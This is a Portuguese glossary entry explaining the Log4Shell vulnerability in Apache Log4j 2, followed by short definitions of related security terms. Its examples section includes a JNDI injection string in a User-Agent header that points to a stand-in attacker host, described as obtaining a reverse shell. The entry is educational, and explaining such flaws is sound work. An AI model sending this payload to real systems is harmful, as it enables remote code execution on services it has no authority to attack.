Vulnerabilidades
Log4Shell (CVE-2021-44228)
Também conhecido como: CVE-2021-44228, Vulnerabilidade Log4j
Definição
Vulnerabilidade crítica de execução remota de código de dezembro de 2021 no Apache Log4j 2, acionada apenas por logar uma string JNDI.
Exemplos
- Enviar User-Agent: ${jndi:ldap://attacker.com/x} a uma aplicação Java e obter shell reversa.
- Explorar um serviço Java interno logando um valor malicioso inserido num campo de nome de utilizador.
Termos relacionados
CVE (Common Vulnerabilities and Exposures)
Catálogo público que atribui um identificador único a cada vulnerabilidade divulgada para que possa ser referenciada de forma inequívoca em toda a indústria.
Vulnerabilidade de dia zero
Falha de segurança desconhecida do fornecedor (ou sem patch disponível) no momento da sua descoberta ou exploração.
Desserialização insegura
Vulnerabilidade em que uma aplicação desserializa dados não confiáveis, permitindo ao atacante instanciar objetos arbitrários e, com frequência, conseguir RCE.
Ataque à cadeia de fornecimento
Ataque que compromete um fornecedor de software, hardware ou serviços de confiança para alcançar os seus clientes a jusante.
Exploit
Pedaço de código, dados ou técnica que tira partido de uma vulnerabilidade para causar comportamento indesejado, como execução de código, escalada de privilégios ou divulgação de informação.
Vulnerabilidade explorada conhecida (KEV)
CVE que a CISA dos EUA confirma estar ativamente a ser explorada e adiciona ao seu catálogo público KEV, acionando prazos de remediação para agências federais.